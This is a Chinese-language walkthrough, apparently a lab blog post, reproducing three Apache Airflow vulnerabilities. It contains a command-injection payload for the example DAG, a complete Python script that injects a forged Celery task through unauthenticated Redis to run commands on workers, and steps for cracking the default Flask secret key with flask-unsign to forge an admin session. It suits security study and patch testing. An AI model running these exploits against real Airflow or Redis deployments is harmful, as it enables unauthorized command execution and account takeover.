目錄
Apache Airflow是什么
CVE-2020-11978(Airflow 示例dag中的命令注入)
CVE-2020-11981(Airflow Celery消息中間件命令執行)
CVE-2020-17526(Airflow 默認密鑰導致的權限繞過)?
Apache Airflow是什么
? ? ? ? Airflow是一個以編程方式編寫,安排和監視工作流的平臺。
使用Airflow將工作流編寫任務的有向無環圖(DAG),Airflow計劃程序在遵循指定的依賴項,同時在一組工作線程上執行任務。豐富的命令使用程序使在DAG上執行復雜的調度變得輕而易舉。可通過用戶界面查看正在運行的管道,查看進度與排除故障。
CVE-2020-11978(Airflow 示例dag中的命令注入)
? ? ? ? 漏洞成因:管理web頁面里面示例dag存在命令注入。
版本要求:Airflow < 1.10.10
步驟1:訪問Airflow管理頁面,啟動example_trigger_target_dag。
編輯Configuration JSON中注入命令{"message":"'\";touch /tmp/airflow_dag_success;#"},點擊提交
命令注入后需等待工作流執行成功。
步驟2:執行成功后查看是否成功執行
CVE-2020-11981(Airflow Celery消息中間件命令執行)
? ? ? ? 漏洞成因:利用中間件Celery自帶的默認消息隊列,在Redis里該list的默認隊列名airflow.executors.celery_executor.execute_command,通過Redis未授權訪問,寫入命令到該任務。
版本要求:Apache Airflow < 1.10.10
Celery < 4.0
airflow.executors.celery_executor.execute_command是Apache Airflow中中間件Celery中關鍵的任務函數,功能是負責將任務分發給Celery worker節點執行,通過數組形式傳遞執行的命令及參數。
執行流程如下:
- 接受命令和參數的數據作為輸入[100,200],['touch','/tmp/file']
- 通過Celery中間件(Redis/RabbitMQ)將任務序列化傳輸
- Worker節點反序列化后調用系統接口執行命令
步驟1:該漏洞主要控制Redis未授權來將命令注入Celery中間件的任務隊列中
利用腳本exploit_airflow_celery.py來完成操作
import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))
?分析該腳本執行的操作:
- 建立Redis連接,使用第一個參數作為連接地址
- 定義原始字符串ori_str,該字符串是按celery元數據格式編寫
- 將原始字符串ori_str轉換解析為字典格式,json.loads操作是將json字符串轉換成Python中的字典對象
- 建立命令數組command,這是關鍵部分,其中定義了要執行的命令
- 建立了新的主題內容body,包含了主體body和其他參數,其他參數為空
- 將新的body進行了base64編碼并替換了原本task_dict中的body主體
- 最后將制作好的task_dict序列化后推送到Redis的任務隊列中
總結來說就是
- 連接Redis
- 修改celery的任務的內容
- 重新推送任務,等待執行?
?安裝Redis,運行腳本修改任務
步驟2:查看執行結果
?docker-compose logs? airflow-worker
看里面關鍵信息,在那個節點執行了該操作,這里是在容器2d569bda7480中
進去看
?成功執行
CVE-2020-17526(Airflow 默認密鑰導致的權限繞過)?
? ? ? ? 漏洞成因:默認無需密鑰登錄,但是管理員可以通過指定webserver.authenticate=Ture來開啟認證。在版本1.10.13之前,即使開啟密鑰認證,也可以通過默認密鑰來繞過登錄,并且偽造任意用戶身份。
版本要求:Apache Aieflow < 1.10.13
Airflow有一個基于Flask(基于Python編寫的輕量級web框架)開發web應用程序,該web程序使用Flask的無狀態簽名cookie來儲存和管理身份驗證信息。在安裝時可以使用Airflow創建用戶,該用戶是管理員身份。
使用了默認的靜態安全密鑰對用戶身份驗證信息進行了簽名,導致安全配置錯誤。當用戶登錄時,會產生一個默認的cookie,該cookie的名稱為session。其中包含json格式的用戶認證信息。json中名為user_id的密鑰標識了登錄的用戶身份。該json使用airflow.cfg配置文件中字符串進行簽名,該字符串在1.10.15到2.0.2版本之前,這個字符串默認是temporary_key。
靜態字符簽名問題,在本地部署相同版本的airflow,以管理員身份登錄抓包,然后將地址定向到被攻擊主機,擁有管理員權限后,可以查看其他用戶的json字符串,也就是身份驗證信息,抓取拿到本地破解就可以登錄任意用戶了。
步驟1:先獲取名為session的cookie
使用curl的-v選項會顯示請求和響應頭
步驟2:使用flask-unsign來破解簽名使用的secret_key
flask-unsign?
- -c選項,無論是加密,解密,修改都要通過該選項提供數據
- -u,解密被加密的cookie
- -s,指定簽名操作,并且需要傳遞一個用于簽名的secret_key
?步驟3:破解出secret_key后,冒用管理員身份制作一個新的session(這是客戶端登錄的cookie,只是名稱叫session)
步驟4:替換生成的cookie,嘗試登錄
?成功登錄